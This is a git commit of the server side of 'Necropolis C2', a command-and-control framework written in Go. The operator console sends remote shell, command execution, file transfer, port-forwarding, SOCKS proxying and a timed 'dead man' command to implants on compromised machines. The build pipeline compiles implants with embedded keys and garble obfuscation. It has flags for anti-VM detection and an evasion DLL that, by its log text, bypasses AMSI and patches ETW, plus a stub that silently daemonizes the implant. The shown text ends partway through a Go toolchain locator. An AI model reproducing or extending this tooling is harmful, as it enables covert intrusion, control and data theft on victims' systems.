Necropolis v1 release

This commit is contained in:
2026-07-07 04:37:29 +01:00
commit cf9c51a3df
69 changed files with 15056 additions and 0 deletions
+555
View File
@@ -0,0 +1,555 @@
// Interactive command-line console for the operator. Provides command dispatch with
// history, auto-complete hints, and context-sensitive prompts.
package core
import (
"fmt"
"log"
"os"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/peterh/liner"
)
var commandHelp = map[string]string{
"list": "list — show registered implants",
"select": "select <idx> — select implant by index",
"ps": "ps — list processes on selected implant",
"ls": "ls [path] — list directory (default: .)",
"cd": "cd [path] — change directory (default: .)",
"pwd": "pwd — print working directory",
"shell": "shell — interactive shell on selected implant (direct libp2p stream)",
"portfwd": "portfwd <local-port> <target-host:target-port> — forward local port through implant",
"exec": "exec <command> [args...] — execute command on selected implant",
"deadman": "deadman <timeout_seconds> <command> — set dead man switch (fires if no contact within timeout)",
"download": "download <remote-path> — download file from implant",
"upload": "upload <local-path> <remote-path> — upload file to implant",
"kill": "kill — terminate the selected implant",
"generate": "generate [flags] — build an implant\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./necropolis-implant)\n --pubkey <path> operator public key (default: ~/.necropolis/operator.pub)\n --upx enable UPX compression (default: false)\n --obfuscate obfuscate the binary with garble\n --quiet suppress output, detach from terminal, hide console on Windows\n --antivm enable VM detection (65+ techniques)\n --evasion embed Zig evasion DLL (kernel bypass on Windows)",
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
"socks": "socks start|list|stop — manage SOCKS5 proxies (use 'socks help' for details)",
"help": "help [command] — show this help or help for a specific command",
"exit": "exit — quit the console",
}
// checkHelp returns true if --help or -h is present in the args.
func checkHelp(args []string) bool {
for _, a := range args {
if a == "--help" || a == "-h" {
return true
}
}
return false
}
// RunCLI starts the interactive operator console read-eval-print loop. It handles
// implant selection, command dispatch, and manages the implant connection context.
func (o *Operator) RunCLI() {
os.MkdirAll(necropolisDir(), 0700)
line := liner.NewLiner()
defer line.Close()
line.SetCtrlCAborts(true)
histPath := filepath.Join(necropolisDir(), "history")
if f, err := os.Open(histPath); err == nil {
line.ReadHistory(f)
f.Close()
}
defer saveHistory(histPath, line)
var selected *ImplantRecord
fmt.Println(boldRed("Necropolis C2") + dim + " — The Citadel" + reset)
fmt.Println(dim + "Type 'help' for commands, 'help <command>' for details." + reset)
fmt.Println()
for {
if selected != nil && selected.Disconnected {
fmt.Printf("implant %s@%s disconnected — returning to main prompt\n", selected.Name, selected.Hostname)
selected = nil
}
prompt := boldRed("necropolis") + "> "
if selected != nil {
prompt = boldGreen(selected.Name+"@"+selected.Hostname) + "> "
}
fmt.Print(prompt)
input, err := line.Prompt("")
if err != nil {
if err == liner.ErrPromptAborted {
continue
}
break
}
input = strings.TrimSpace(input)
if input == "" {
continue
}
line.AppendHistory(input)
parts := strings.Fields(input)
cmd := parts[0]
args := parts[1:]
switch cmd {
case "exit", "quit":
return
case "help":
if len(args) > 0 {
if h, ok := commandHelp[args[0]]; ok {
fmt.Println(" " + h)
} else {
fmt.Printf("no help for '%s'\n", args[0])
}
continue
}
fmt.Println("Commands:")
for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "socks", "exec", "deadman", "download", "upload", "kill", "generate", "regenerate", "help", "exit"} {
line := commandHelp[name]
if i := strings.IndexByte(line, '\n'); i >= 0 {
line = line[:i]
}
fmt.Println(" " + line)
}
fmt.Println("Use 'help <command>' for details and flags.")
case "list":
if checkHelp(args) {
fmt.Println(" " + commandHelp["list"])
continue
}
implants := o.ListImplants()
active := 0
relayCount := 0
for _, rec := range implants {
if rec.Disconnected {
continue
}
relay := ""
if rec.IsRelay {
relay = " " + dimYellow("[relay]")
relayCount++
}
ago := time.Since(rec.LastCheckin).Round(time.Second)
fmt.Printf(" %d: %s@%s [%s/%s] last=%s peer=%s%s\n",
active, boldGreen(rec.Name), rec.Hostname, rec.OS, rec.Arch, ago, dim+shortenStr(rec.PeerID, 20)+reset, relay)
active++
}
if active == 0 {
fmt.Println("no connected implants")
} else {
fmt.Printf("%d connected (%d relays)\n", active, relayCount)
}
case "select":
if checkHelp(args) {
fmt.Println(" " + commandHelp["select"])
continue
}
if len(args) == 0 {
fmt.Println("usage: select <idx>")
continue
}
idx, err := strconv.Atoi(args[0])
if err != nil {
fmt.Printf("bad index: %v\n", err)
continue
}
implants := o.ListImplants()
// Filter to only connected implants for indexing
var connected []*ImplantRecord
for _, rec := range implants {
if !rec.Disconnected {
connected = append(connected, rec)
}
}
if idx < 0 || idx >= len(connected) {
fmt.Println("index out of range")
continue
}
selected = connected[idx]
o.SetSelected(selected.PeerID)
fmt.Printf("selected %s@%s (%s)\n", boldGreen(selected.Name), selected.Hostname, dim+selected.PeerID+reset)
case "ps":
if checkHelp(args) {
fmt.Println(" " + commandHelp["ps"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if err := o.Ps(selected.PeerID); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "ls":
if checkHelp(args) {
fmt.Println(" " + commandHelp["ls"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
path := "."
if len(args) > 0 {
path = args[0]
}
if err := o.Ls(selected.PeerID, path); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "cd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["cd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
path := "."
if len(args) > 0 {
path = args[0]
}
if err := o.Cd(selected.PeerID, path); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "pwd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["pwd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if err := o.Pwd(selected.PeerID); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "shell":
if checkHelp(args) {
fmt.Println(" " + commandHelp["shell"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
fmt.Println(dimYellow("=== shell started (Ctrl+] to escape) ==="))
if err := o.OpenShell(selected.PeerID); err != nil {
fmt.Printf("shell error: %v\n", err)
}
fmt.Println(dimYellow("=== shell ended ==="))
case "portfwd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["portfwd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) < 2 {
fmt.Println("usage: portfwd <local-port> <target-host:target-port>")
continue
}
localPort, err := strconv.Atoi(args[0])
if err != nil {
fmt.Printf("bad port: %v\n", err)
continue
}
if err := o.Portfwd(selected.PeerID, localPort, args[1]); err != nil {
fmt.Printf("portfwd error: %v\n", err)
}
case "socks":
if len(args) == 0 || args[0] == "help" || checkHelp(args) {
fmt.Println(" socks <subcommand> [args]")
fmt.Println(" subcommands:")
fmt.Println(" start <idx|random> <port> — start SOCKS5 proxy (uses saved credentials if available)")
fmt.Println(" list — show running SOCKS5 proxies")
fmt.Println(" stop <port> — stop a running SOCKS5 proxy")
fmt.Println(" reset-creds — clear saved credentials (re-prompt on next start)")
continue
}
switch args[0] {
case "start":
if len(args) < 2 {
fmt.Println("usage: socks start <idx|random> <port>")
continue
}
idArg := args[1]
port := 1080
if len(args) > 2 {
if p, err := strconv.Atoi(args[2]); err == nil && p > 0 && p <= 65535 {
port = p
} else {
fmt.Printf("bad port: %s\n", args[2])
continue
}
}
creds, _ := LoadSocksCreds()
var username, password string
if creds != nil {
username = creds.Username
fmt.Printf("using saved credentials (user: %s)\n", username)
pass, err := line.Prompt("SOCKS password: ")
if err != nil {
continue
}
if !checkPassword(pass, creds.PasswordHash) {
fmt.Println("incorrect password")
continue
}
password = pass
} else {
u, err := line.Prompt("SOCKS username: ")
if err != nil {
continue
}
p, err := line.Prompt("SOCKS password: ")
if err != nil {
continue
}
username = u
password = p
hash, err := hashPassword(password)
if err != nil {
fmt.Printf("failed to hash password: %v\n", err)
continue
}
if err := SaveSocksCreds(&SocksCreds{Username: username, PasswordHash: hash}); err != nil {
fmt.Printf("failed to save socks creds: %v\n", err)
continue
}
}
targetID := idArg
if idArg != "random" {
peerID, rec, err := o.pickImplantPeerID(idArg)
if err != nil {
fmt.Printf("socks: %v\n", err)
continue
}
targetID = peerID
fmt.Printf("using implant %s@%s\n", rec.Name, rec.Hostname)
}
fmt.Printf("starting SOCKS5 proxy on 127.0.0.1:%d...\n", port)
if err := o.SocksStart(targetID, port, username, password); err != nil {
fmt.Printf("socks start error: %v\n", err)
}
case "list":
proxies := o.SocksList()
if len(proxies) == 0 {
fmt.Println("no SOCKS5 proxies running")
} else {
fmt.Println("SOCKS5 proxies:")
for _, p := range proxies {
uptime := time.Since(p.StartTime).Round(time.Second)
fmt.Printf(" %d: %s -> implant %s (up %s)\n", p.Port, p.Username, p.ImplantID, uptime)
}
}
case "stop":
if len(args) < 2 {
fmt.Println("usage: socks stop <port>")
continue
}
port, err := strconv.Atoi(args[1])
if err != nil || port < 1 || port > 65535 {
fmt.Printf("bad port: %s\n", args[1])
continue
}
if err := o.SocksStop(port); err != nil {
fmt.Printf("socks stop error: %v\n", err)
} else {
fmt.Printf("SOCKS5 proxy on port %d stopped\n", port)
}
case "reset-creds":
if err := ClearSocksCreds(); err != nil {
fmt.Printf("reset-creds error: %v\n", err)
} else {
fmt.Println("SOCKS credentials cleared")
}
default:
fmt.Printf("unknown socks subcommand: %s (try 'socks help')\n", args[0])
}
case "download":
if checkHelp(args) {
fmt.Println(" " + commandHelp["download"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) == 0 {
fmt.Println("usage: download <path>")
continue
}
if err := o.Download(selected.PeerID, args[0]); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("download command sent")
}
case "upload":
if checkHelp(args) {
fmt.Println(" " + commandHelp["upload"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) < 2 {
fmt.Println("usage: upload <src> <dst>")
continue
}
fmt.Printf("uploading %s...\n", args[0])
if err := o.UploadFile(selected.PeerID, args[0], args[1]); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("upload command sent")
}
case "exec", "execute":
if checkHelp(args) {
fmt.Println(" " + commandHelp["exec"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) == 0 {
fmt.Println("usage: exec <cmd> [args...]")
continue
}
if err := o.Execute(selected.PeerID, args[0], args[1:]); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "deadman":
if checkHelp(args) {
fmt.Println(" " + commandHelp["deadman"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if len(args) < 2 {
fmt.Println("usage: deadman <timeout_seconds> <command>")
continue
}
timeout, err := strconv.Atoi(args[0])
if err != nil {
fmt.Println("timeout must be a number")
continue
}
cmd := strings.Join(args[1:], " ")
if err := o.DeadMan(selected.PeerID, cmd, timeout); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Printf("dead man switch set: %s in %ds\n", cmd, timeout)
}
case "kill":
if checkHelp(args) {
fmt.Println(" " + commandHelp["kill"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
fmt.Printf(redText("kill %s@%s? [y/N] "), selected.Name, selected.Hostname)
ans, _ := line.Prompt("")
if ans != "y" && ans != "Y" && ans != "yes" {
fmt.Println("cancelled")
continue
}
if err := o.Kill(selected.PeerID); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("kill command sent")
}
case "generate":
if checkHelp(args) {
fmt.Println(" " + commandHelp["generate"])
continue
}
if err := RunGenerate(args); err != nil {
fmt.Printf("generate error: %v\n", err)
}
case "regenerate":
fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
ans, err := line.Prompt("Are you sure? [y/N] ")
if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
fmt.Println("cancelled")
continue
}
keyPath := keyPath()
pubPath := pubKeyPath()
os.Remove(keyPath)
os.Remove(pubPath)
log.Printf("deleted %s and %s", keyPath, pubPath)
log.Printf("regenerated keys will take effect on next startup")
fmt.Println("Restart necropolis for the new keys to take effect.")
default:
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
}
}
}
// saveHistory persists the console command history to disk.
func saveHistory(path string, line *liner.State) {
if f, err := os.Create(path); err == nil {
line.WriteHistory(f)
f.Close()
}
}
// shortenStr truncates a string to max characters with ellipsis.
func shortenStr(s string, max int) string {
if len(s) <= max {
return s
}
return s[:max] + "..."
}
+38
View File
@@ -0,0 +1,38 @@
package core
import "fmt"
// ANSI escape codes — works on Windows Terminal, WSL, macOS, Linux
const (
reset = "\033[0m"
bold = "\033[1m"
dim = "\033[2m"
red = "\033[31m"
green = "\033[32m"
yellow = "\033[33m"
blue = "\033[34m"
magenta = "\033[35m"
cyan = "\033[36m"
darkRed = "\033[31m"
)
func colorize(color, text string) string {
return color + text + reset
}
func boldRed(s string) string { return bold + red + s + reset }
func boldGreen(s string) string { return bold + green + s + reset }
func boldBlue(s string) string { return bold + blue + s + reset }
func boldCyan(s string) string { return bold + cyan + s + reset }
func dimYellow(s string) string { return dim + yellow + s + reset }
func redText(s string) string { return red + s + reset }
func greenText(s string) string { return green + s + reset }
func cyanText(s string) string { return cyan + s + reset }
func darkRedText(s string) string { return dim + darkRed + s + reset }
func magentaBold(s string) string { return bold + magenta + s + reset }
func colorf(color, format string, args ...interface{}) string {
return color + fmt.Sprintf(format, args...) + reset
}
+6
View File
@@ -0,0 +1,6 @@
package embedsrc
import _ "embed"
//go:embed implant_src.tar.gz
var ImplantSourceArchive []byte
+419
View File
@@ -0,0 +1,419 @@
// Implant build pipeline. Generates fresh implant keys, embeds operator credentials,
// cross-compiles via Go or garble, and optionally compresses with UPX.
package core
import (
"archive/tar"
"bytes"
"compress/gzip"
"crypto/rand"
"flag"
"fmt"
"io"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/Yenn503/NecropolisC2/server/core/embedsrc"
)
// GenerateConfig holds the CLI flags controlling the implant build: target OS/arch,
// obfuscation, compression, quiet mode, anti-VM tags, and evasion DLL embedding.
type GenerateConfig struct {
PubKeyPath string
OutputPath string
TargetOS string
TargetArch string
UseUPX bool
Obfuscate bool
Quiet bool
Antivm bool
Evasion bool
}
// RunGenerate parses CLI flags from args and triggers the full implant build pipeline.
func RunGenerate(args []string) error {
cfg := GenerateConfig{
PubKeyPath: defaultPubKeyPath(),
OutputPath: "necropolis-implant",
TargetOS: "linux",
TargetArch: "amd64",
}
fs := flag.NewFlagSet("generate", flag.ExitOnError)
fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
fs.BoolVar(&cfg.UseUPX, "upx", false, "compress with UPX (off by default — UPX+Go = YARA signature)")
fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
fs.BoolVar(&cfg.Evasion, "evasion", false, "enable kernel evasion (ETW patch, AMSI bypass, indirect syscalls)")
fs.Parse(args)
return BuildImplant(cfg)
}
// BuildImplant reads the operator's public key and box key, generates a fresh implant
// Ed25519 key, prepares a build directory with embedded credentials, cross-compiles
// (optionally through garble), optionally strips symbols and compresses with UPX.
func BuildImplant(cfg GenerateConfig) error {
pubData, err := os.ReadFile(cfg.PubKeyPath)
if err != nil {
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
}
necropolisDir := filepath.Dir(cfg.PubKeyPath)
boxPubData, _ := os.ReadFile(filepath.Join(necropolisDir, "operator.boxpub"))
if len(boxPubData) != 32 {
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
}
authTokenData, err := os.ReadFile(filepath.Join(necropolisDir, "operator.authtoken"))
if err != nil || len(authTokenData) != 32 {
return fmt.Errorf("read auth token (operator.authtoken): operator must run once to generate auth token")
}
log.Printf("[+] generating implant keypair...")
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return fmt.Errorf("generate implant key: %w", err)
}
privBytes, err := crypto.MarshalPrivateKey(implantPriv)
if err != nil {
return fmt.Errorf("marshal implant private key: %w", err)
}
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
log.Printf("[*] PeerID: %s", implantPeerID.String())
log.Printf("[+] embedding credentials...")
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, authTokenData, cfg.Quiet)
if err != nil {
return fmt.Errorf("prepare build directory: %w", err)
}
defer os.RemoveAll(buildDir)
outPath := cfg.OutputPath
if !filepath.IsAbs(outPath) {
wd, _ := os.Getwd()
outPath = filepath.Join(wd, outPath)
}
if cfg.TargetOS == "windows" && !strings.HasSuffix(outPath, ".exe") {
outPath += ".exe"
}
_, err = ensureGo()
if err != nil {
return fmt.Errorf("go not available: %w", err)
}
goBin := findGo()
ldflags := "-s -w -buildid="
if cfg.Quiet && cfg.TargetOS == "windows" {
ldflags += " -H=windowsgui"
}
var builder string
var buildArgs []string
buildPath := os.Getenv("PATH")
if cfg.Obfuscate {
garble, err := ensureGarble(goBin)
if err != nil {
return fmt.Errorf("garble not available: %w", err)
}
if _, err := exec.LookPath("git"); err != nil {
log.Print("git not found. Attempting to install...")
gitBin, err := installGit()
if err != nil {
return fmt.Errorf("garble requires git to patch the Go linker, install git manually or set up PATH: %w", err)
}
gitDir := filepath.Dir(gitBin)
if !strings.Contains(buildPath, gitDir) {
buildPath = gitDir + string(os.PathListSeparator) + buildPath
}
}
builder = garble
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
// build from project root so GOGARBLE scopes to our packages.
// Temp dir breaks import path resolution needed for obfuscation filtering.
wd, _ := os.Getwd()
restore := backupStubs(filepath.Join("implant", "core"))
defer restore()
writeEmbeddedCreds(filepath.Join("implant", "core"), pubData, boxPubData, privBytes, authTokenData)
buildDir = wd
log.Printf("[+] obfuscation: garble -literals -tiny")
} else {
builder = goBin
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
}
if cfg.Antivm {
buildArgs = append(buildArgs, "-tags=antivm")
}
if cfg.Evasion {
buildArgs = append(buildArgs, "-tags=evasion")
log.Printf("[+] Ninja: FreshyCalls + HAL's Gate, indirect syscalls, module stomping, AMSI HWBP, ETW 3-tier, CFG-aware callback removal, sleep obfuscation, yk the vibes.")
log.Printf("[+] embedding my lillll ahh valak.dll ;)")
}
buildArgs = append(buildArgs, "./implant/")
cmd := exec.Command(builder, buildArgs...)
goDir := filepath.Dir(goBin)
if !strings.Contains(buildPath, goDir) {
buildPath = goDir + string(os.PathListSeparator) + buildPath
}
env := []string{
"GOOS=" + cfg.TargetOS,
"GOARCH=" + cfg.TargetArch,
"CGO_ENABLED=0",
"PATH=" + buildPath,
"GOGARBLE=github.com/Yenn503/NecropolisC2/*",
}
cmd.Env = append(os.Environ(), env...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Dir = buildDir
log.Printf("[*] compiling %s/%s...", cfg.TargetOS, cfg.TargetArch)
if err := cmd.Run(); err != nil {
return fmt.Errorf("build: %w", err)
}
if fi, err := os.Stat(outPath); err == nil {
log.Printf("[+] %s (%d bytes)", outPath, fi.Size())
}
// strip for Linux/macOS to remove any remaining symbol tables
if cfg.TargetOS == "linux" || cfg.TargetOS == "darwin" {
stripCmd := exec.Command("strip", "-s", outPath)
_ = stripCmd.Run()
}
if cfg.UseUPX {
if upxPath, err := exec.LookPath("upx"); err == nil {
log.Printf("applying UPX compression...")
upx := exec.Command(upxPath, "--lzma", "--compress-exports=0", outPath)
upx.Stdout = os.Stdout
upx.Stderr = os.Stderr
if err := upx.Run(); err != nil {
log.Printf("upx compression skipped: %v", err)
}
} else {
log.Printf("upx not found, skipping compression")
}
}
return nil
}
// prepareBuildDir creates a temp directory with the implant source, embedded operator
// credentials (pubkey, box pubkey, implant privkey, auth token), and optional quiet stub.
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData, authTokenData []byte, quiet bool) (string, error) {
dir, err := os.MkdirTemp("", "necropolis-build-*")
if err != nil {
return "", fmt.Errorf("create temp dir: %w", err)
}
pubLiteral := bytesLiteral(pubKeyData)
boxPubLiteral := bytesLiteral(boxPubKeyData)
privLiteral := bytesLiteral(privKeyData)
authLiteral := bytesLiteral(authTokenData)
pubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = %s
`, pubLiteral)
boxPubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = %s
`, boxPubLiteral)
keyContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = %s
`, privLiteral)
authContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = %s
`, authLiteral)
if err := extractEmbeddedSource(dir); err != nil {
return "", err
}
// Rename go.mod.txt/go.sum.txt back to real names
os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))
coreDir := filepath.Join(dir, "implant", "core")
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(authContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_authtoken.go: %w", err)
}
if quiet {
if err := writeQuietStub(coreDir); err != nil {
return "", fmt.Errorf("write quiet stub: %w", err)
}
}
return dir, nil
}
// writeQuietStub generates a Go init() that detaches from the terminal and daemonizes
// the process (non-Windows only).
func writeQuietStub(coreDir string) error {
quietContent := `//go:build !windows
package core
import (
"os"
"syscall"
)
func init() {
if os.Getenv("_NECROPOLIS_DAEMON") == "1" {
return
}
f, err := os.OpenFile("/dev/null", os.O_RDWR, 0)
if err != nil {
os.Exit(1)
}
attr := &os.ProcAttr{
Files: []*os.File{f, f, f},
Env: append(os.Environ(), "_NECROPOLIS_DAEMON=1"),
Sys: &syscall.SysProcAttr{Setsid: true},
}
proc, err := os.StartProcess(os.Args[0], os.Args, attr)
if err != nil {
os.Exit(1)
}
proc.Release()
os.Exit(0)
}
`
return os.WriteFile(filepath.Join(coreDir, "quiet.go"), []byte(quietContent), 0644)
}
// extractEmbeddedSource unpacks the gzipped tar archive of implant source into dst.
func extractEmbeddedSource(dst string) error {
gz, err := gzip.NewReader(bytes.NewReader(embedsrc.ImplantSourceArchive))
if err != nil {
return fmt.Errorf("gzip reader: %w", err)
}
defer gz.Close()
tr := tar.NewReader(gz)
for {
hdr, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return fmt.Errorf("tar next: %w", err)
}
target := filepath.Join(dst, hdr.Name)
switch hdr.Typeflag {
case tar.TypeDir:
if err := os.MkdirAll(target, 0755); err != nil {
return err
}
case tar.TypeReg:
if err := os.MkdirAll(filepath.Dir(target), 0755); err != nil {
return err
}
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
if err != nil {
return err
}
if _, err := io.Copy(f, tr); err != nil {
f.Close()
return err
}
f.Close()
}
}
return nil
}
// defaultPubKeyPath returns ~/.necropolis/operator.pub.
func defaultPubKeyPath() string {
home, err := os.UserHomeDir()
if err != nil {
return "operator.pub"
}
return filepath.Join(home, ".necropolis", "operator.pub")
}
// ensureGarble checks for the garble obfuscator; if missing, installs it via go install
// and searches GOPATH/bin as a fallback.
func ensureGarble(goBin string) (string, error) {
if p, err := exec.LookPath("garble"); err == nil {
return p, nil
}
log.Print("garble not found. Installing via 'go install mvdan.cc/garble@v0.12.1'...")
cmd := exec.Command(goBin, "install", "mvdan.cc/garble@v0.12.1")
cmd.Env = append(os.Environ(), "PATH="+filepath.Dir(goBin)+string(os.PathListSeparator)+os.Getenv("PATH"))
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("install garble: %w", err)
}
if p, err := exec.LookPath("garble"); err == nil {
return p, nil
}
// go install puts binaries in GOPATH/bin — check each entry
gopathOut, _ := exec.Command(goBin, "env", "GOPATH").Output()
gopath := strings.TrimSpace(string(gopathOut))
if gopath != "" {
for _, p := range filepath.SplitList(gopath) {
for _, name := range []string{"garble", "garble.exe"} {
candidate := filepath.Join(p, "bin", name)
if fileExists(candidate) {
log.Print("garble installed")
return candidate, nil
}
}
}
}
return "", fmt.Errorf("garble installed but not found in PATH or GOPATH/bin")
}
// fileExists returns true if the path exists on disk.
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
// bytesLiteral formats a byte slice as a Go source literal like "[]byte{1,2,3}".
func bytesLiteral(data []byte) string {
var parts []string
for _, b := range data {
parts = append(parts, fmt.Sprintf("%d", b))
}
return "[]byte{" + strings.Join(parts, ",") + "}"
}
+71
View File
@@ -0,0 +1,71 @@
package core
import (
"fmt"
"os"
"path/filepath"
)
// embedStubs maps embedded stub filenames to their empty content.
var embedStubs = map[string]string{
"embedded_pubkey.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
`,
"embedded_implant_key.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = []byte{}
`,
"embedded_boxpubkey.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
`,
"embedded_authtoken.go": `// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = []byte{}
`,
}
// backupStubs saves the current embedded stub files in the given coreDir
// and overwrites them with empty content so the temp-dir build can proceed.
// Returns a restore function.
func backupStubs(coreDir string) func() {
backups := make(map[string][]byte)
for name := range embedStubs {
path := filepath.Join(coreDir, name)
if data, err := os.ReadFile(path); err == nil {
backups[name] = data
}
}
return func() {
for name, data := range backups {
os.WriteFile(filepath.Join(coreDir, name), data, 0644)
}
}
}
// writeEmbeddedCreds writes the real operator credentials into the embedded
// stub files in the implant source tree, replacing the empty stubs.
func writeEmbeddedCreds(coreDir string, pub, box, priv, auth []byte) {
pubLiteral := bytesLiteral(pub)
boxLiteral := bytesLiteral(box)
privLiteral := bytesLiteral(priv)
authLiteral := bytesLiteral(auth)
os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedOperatorPubKey = %s\n",
pubLiteral)), 0644)
os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedOperatorBoxPubKey = %s\n",
boxLiteral)), 0644)
os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedImplantPrivKey = %s\n",
privLiteral)), 0644)
os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(fmt.Sprintf(
"// Code generated by necropolis generate. DO NOT EDIT.\npackage core\n\nvar embeddedAuthToken = %s\n",
authLiteral)), 0644)
}
+399
View File
@@ -0,0 +1,399 @@
package core
import (
"archive/zip"
"context"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"io/fs"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
)
func findGo() string {
if p, err := exec.LookPath("go"); err == nil {
return p
}
if goroot := os.Getenv("GOROOT"); goroot != "" {
candidate := filepath.Join(goroot, "bin", "go")
if fileExists(candidate) {
return candidate
}
}
goexe := "go"
if runtime.GOOS == "windows" {
goexe = "go.exe"
}
for _, p := range []string{
"/usr/local/go/bin/go",
filepath.Join(os.Getenv("HOME"), ".local", "go", "bin", goexe),
"/tmp/go/bin/" + goexe,
"/usr/lib/go/bin/go",
`C:\Go\bin\go.exe`,
filepath.Join(os.Getenv("ProgramFiles"), "Go", "bin", "go.exe"),
filepath.Join(os.Getenv("LocalAppData"), "go", "bin", goexe),
filepath.Join(os.Getenv("HOME"), "sdk", "go", "bin", goexe),
